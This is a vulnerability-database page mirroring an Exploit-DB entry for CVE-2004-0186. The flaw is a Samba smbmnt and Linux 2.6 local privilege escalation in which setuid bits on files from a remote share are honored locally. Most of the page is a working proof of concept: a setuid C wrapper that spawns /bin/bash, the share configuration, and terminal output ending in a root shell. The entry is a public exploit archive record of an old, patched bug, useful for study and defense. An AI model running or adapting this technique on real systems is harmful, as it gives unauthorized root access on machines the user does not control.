Lucene search
+L

Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation

🗓️ 09 Feb 2004 00:00:00Reported by Martin FialaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 66 Views

Local privilege escalation in Samba 2.2.8 allows attackers to gain root access through shares.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CAN-2004-0186
6 Aug 202410:13
cve
CVE
CVE-2004-0186
1 Sep 200404:00
cve
Cvelist
CVE-2004-0186
1 Sep 200404:00
cvelist
Debian
[SECURITY] [DSA 463-1] New samba packages fix privilege escalation in smbmnt
13 Mar 200402:27
debian
Debian CVE
CVE-2004-0186
1 Sep 200404:00
debiancve
Tenable Nessus
Debian DSA-463-1 : samba - privilege escalation
29 Sep 200400:00
nessus
Tenable Nessus
Mandrake Linux Security Advisory : samba (MDKSA-2004:035)
31 Jul 200400:00
nessus
Tenable Nessus
Samba smbmnt Local Privilege Escalation
18 Nov 201100:00
nessus
EUVD
EUVD-2004-0186
7 Oct 202500:30
euvd
NVD
CVE-2004-0186
15 Mar 200405:00
nvd
Rows per page
source: https://www.securityfocus.com/bid/9619/info

A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.

The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01595
66